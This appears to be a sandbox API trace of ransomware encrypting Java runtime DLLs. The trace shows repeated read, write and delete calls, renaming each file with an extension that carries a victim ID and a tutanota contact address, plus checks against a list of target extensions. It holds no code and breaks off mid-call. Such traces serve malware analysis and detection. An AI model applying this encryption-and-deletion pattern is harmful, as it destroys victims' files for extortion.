[0093.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll") returned 48 [0093.219] lstrlenW (lpString=".jpg") returned 4 [0093.219] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0093.219] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0093.219] lstrlenW (lpString="sunmscapi.dll") returned 13 [0093.219] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0093.220] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=31808) returned 1 [0093.220] CloseHandle (hObject=0x370) returned 1 [0093.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll")) returned 0x20 [0093.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.220] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0093.220] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.220] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.220] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0093.221] GetLastError () returned 0x0 [0093.221] ReadFile (in: hFile=0x370, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x7c40, lpOverlapped=0x0) returned 1 [0093.223] WriteFile (in: hFile=0x364, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x7c50, lpOverlapped=0x0) returned 1 [0093.224] ReadFile (in: hFile=0x370, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.224] WriteFile (in: hFile=0x364, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xee, lpOverlapped=0x0) returned 1 [0093.224] SetEndOfFile (hFile=0x364) returned 1 [0093.224] CloseHandle (hObject=0x364) returned 1 [0093.224] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.224] SetEndOfFile (hFile=0x370) returned 1 [0093.225] CloseHandle (hObject=0x370) returned 1 [0093.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0093.226] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll")) returned 1 [0093.226] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0093.226] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0093.226] lstrlenW (lpString=".doc") returned 4 [0093.226] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0093.226] lstrlenW (lpString=".docx") returned 5 [0093.226] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0093.226] lstrlenW (lpString=".pdf") returned 4 [0093.226] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0093.226] lstrlenW (lpString=".xls") returned 4 [0093.226] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0093.226] lstrlenW (lpString=".xlsx") returned 5 [0093.226] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0093.226] lstrlenW (lpString=".ppt") returned 4 [0093.226] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0093.226] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0093.226] lstrlenW (lpString=".zip") returned 4 [0093.226] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0093.226] lstrlenW (lpString=".rar") returned 4 [0093.226] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0093.226] lstrlenW (lpString=".bz2") returned 4 [0093.226] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0093.226] lstrlenW (lpString=".7z") returned 3 [0093.226] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0093.226] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0093.226] lstrlenW (lpString=".dbf") returned 4 [0093.226] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0093.226] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0093.226] lstrlenW (lpString=".1cd") returned 4 [0093.226] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0093.227] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0093.227] lstrlenW (lpString=".jpg") returned 4 [0093.227] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0093.227] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0093.227] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0093.227] lstrlenW (lpString=".doc") returned 4 [0093.227] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0093.227] lstrlenW (lpString=".docx") returned 5 [0093.227] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0093.227] lstrlenW (lpString=".pdf") returned 4 [0093.227] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0093.227] lstrlenW (lpString=".xls") returned 4 [0093.227] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0093.227] lstrlenW (lpString=".xlsx") returned 5 [0093.227] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0093.227] lstrlenW (lpString=".ppt") returned 4 [0093.227] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0093.227] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0093.227] lstrlenW (lpString=".zip") returned 4 [0093.227] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0093.227] lstrlenW (lpString=".rar") returned 4 [0093.227] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0093.227] lstrlenW (lpString=".bz2") returned 4 [0093.227] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0093.227] lstrlenW (lpString=".7z") returned 3 [0093.227] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0093.227] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0093.227] lstrlenW (lpString=".dbf") returned 4 [0093.227] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0093.227] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0093.227] lstrlenW (lpString=".1cd") returned 4 [0093.227] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0093.227] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0093.227] lstrlenW (lpString=".jpg") returned 4 [0093.227] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0093.228] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0093.228] lstrlenW (lpString="t2k.dll") returned 7 [0093.228] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0093.228] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=255040) returned 1 [0093.228] CloseHandle (hObject=0x370) returned 1 [0093.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll")) returned 0x20 [0093.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.228] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0093.228] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.228] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.228] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0093.820] GetLastError () returned 0x0 [0093.820] ReadFile (in: hFile=0x370, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x3e440, lpOverlapped=0x0) returned 1 [0093.835] WriteFile (in: hFile=0x36c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x3e450, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x3e450, lpOverlapped=0x0) returned 1 [0093.840] ReadFile (in: hFile=0x370, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.840] WriteFile (in: hFile=0x36c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xe2, lpOverlapped=0x0) returned 1 [0093.840] SetEndOfFile (hFile=0x36c) returned 1 [0093.840] CloseHandle (hObject=0x36c) returned 1 [0093.840] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.840] SetEndOfFile (hFile=0x370) returned 1 [0093.842] CloseHandle (hObject=0x370) returned 1 [0093.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0093.843] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\t2k.dll")) returned 1 [0093.843] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0093.843] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0093.843] lstrlenW (lpString=".doc") returned 4 [0093.843] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0093.843] lstrlenW (lpString=".docx") returned 5 [0093.843] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0093.843] lstrlenW (lpString=".pdf") returned 4 [0093.843] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0093.843] lstrlenW (lpString=".xls") returned 4 [0093.843] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0093.843] lstrlenW (lpString=".xlsx") returned 5 [0093.843] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0093.843] lstrlenW (lpString=".ppt") returned 4 [0093.843] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0093.843] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0093.843] lstrlenW (lpString=".zip") returned 4 [0093.843] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0093.843] lstrlenW (lpString=".rar") returned 4 [0093.843] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0093.843] lstrlenW (lpString=".bz2") returned 4 [0093.844] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0093.844] lstrlenW (lpString=".7z") returned 3 [0093.844] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0093.844] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0093.844] lstrlenW (lpString=".dbf") returned 4 [0093.844] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0093.844] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0093.844] lstrlenW (lpString=".1cd") returned 4 [0093.844] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0093.844] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0093.844] lstrlenW (lpString=".jpg") returned 4 [0093.844] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0093.844] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0093.844] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0093.844] lstrlenW (lpString=".doc") returned 4 [0093.844] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0093.844] lstrlenW (lpString=".docx") returned 5 [0093.844] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0093.844] lstrlenW (lpString=".pdf") returned 4 [0093.844] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0093.844] lstrlenW (lpString=".xls") returned 4 [0093.844] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0093.844] lstrlenW (lpString=".xlsx") returned 5 [0093.844] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0093.844] lstrlenW (lpString=".ppt") returned 4 [0093.844] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0093.844] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0093.844] lstrlenW (lpString=".zip") returned 4 [0093.844] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0093.844] lstrlenW (lpString=".rar") returned 4 [0093.844] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0093.844] lstrlenW (lpString=".bz2") returned 4 [0093.844] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0093.844] lstrlenW (lpString=".7z") returned 3 [0093.844] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0093.844] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0093.844] lstrlenW (lpString=".dbf") returned 4 [0093.845] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0093.845] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0093.845] lstrlenW (lpString=".1cd") returned 4 [0093.845] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0093.845] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\t2k.dll") returned 46 [0093.845] lstrlenW (lpString=".jpg") returned 4 [0093.845] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0093.845] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0093.845] lstrlenW (lpString="w2k_lsa_auth.dll") returned 16 [0093.845] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0093.845] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=24128) returned 1 [0093.845] CloseHandle (hObject=0x370) returned 1 [0093.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll")) returned 0x20 [0093.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.846] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0093.846] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.846] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.846] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0093.846] GetLastError () returned 0x0 [0093.846] ReadFile (in: hFile=0x370, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x5e40, lpOverlapped=0x0) returned 1 [0093.848] WriteFile (in: hFile=0x36c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x5e50, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x5e50, lpOverlapped=0x0) returned 1 [0093.849] ReadFile (in: hFile=0x370, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.849] WriteFile (in: hFile=0x36c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0xf4, lpOverlapped=0x0) returned 1 [0093.849] SetEndOfFile (hFile=0x36c) returned 1 [0093.849] CloseHandle (hObject=0x36c) returned 1 [0093.849] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.850] SetEndOfFile (hFile=0x370) returned 1 [0093.850] CloseHandle (hObject=0x370) returned 1 [0093.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0093.851] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll")) returned 1 [0093.851] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0093.851] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0093.851] lstrlenW (lpString=".doc") returned 4 [0093.851] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0093.851] lstrlenW (lpString=".docx") returned 5 [0093.851] lstrcmpiW (lpString1=".docx", lpString2="h.dll") returned -1 [0093.851] lstrlenW (lpString=".pdf") returned 4 [0093.851] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0093.851] lstrlenW (lpString=".xls") returned 4 [0093.851] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0093.851] lstrlenW (lpString=".xlsx") returned 5 [0093.851] lstrcmpiW (lpString1=".xlsx", lpString2="h.dll") returned -1 [0093.851] lstrlenW (lpString=".ppt") returned 4 [0093.851] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0093.851] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0093.851] lstrlenW (lpString=".zip") returned 4 [0093.851] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0093.851] lstrlenW (lpString=".rar") returned 4 [0093.851] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0093.851] lstrlenW (lpString=".bz2") returned 4 [0093.851] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0093.851] lstrlenW (lpString=".7z") returned 3 [0093.851] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0093.851] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0093.851] lstrlenW (lpString=".dbf") returned 4 [0093.851] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0093.852] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0093.852] lstrlenW (lpString=".1cd") returned 4 [0093.852] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0093.852] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0093.852] lstrlenW (lpString=".jpg") returned 4 [0093.852] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0093.852] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0093.852] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0093.852] lstrlenW (lpString=".doc") returned 4 [0093.852] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0093.852] lstrlenW (lpString=".docx") returned 5 [0093.852] lstrcmpiW (lpString1=".docx", lpString2="h.dll") returned -1 [0093.852] lstrlenW (lpString=".pdf") returned 4 [0093.852] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0093.852] lstrlenW (lpString=".xls") returned 4 [0093.852] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0093.852] lstrlenW (lpString=".xlsx") returned 5 [0093.852] lstrcmpiW (lpString1=".xlsx", lpString2="h.dll") returned -1 [0093.852] lstrlenW (lpString=".ppt") returned 4 [0093.852] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0093.852] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0093.852] lstrlenW (lpString=".zip") returned 4 [0093.852] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0093.852] lstrlenW (lpString=".rar") returned 4 [0093.852] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0093.852] lstrlenW (lpString=".bz2") returned 4 [0093.852] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0093.852] lstrlenW (lpString=".7z") returned 3 [0093.852] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0093.852] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0093.852] lstrlenW (lpString=".dbf") returned 4 [0093.852] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0093.852] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0093.852] lstrlenW (lpString=".1cd") returned 4 [0093.852] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0093.852] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0093.852] lstrlenW (lpString=".jpg") returned 4 [0093.852] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0093.853] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0093.853] lstrlenW (lpString="WindowsAccessBridge-64.dll") returned 26 [0093.853] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0094.129] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=110144) returned 1 [0094.129] CloseHandle (hObject=0x35c) returned 1 [0094.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\windowsaccessbridge-64.dll")) returned 0x20 [0094.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\WindowsAccessBridge-64.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program 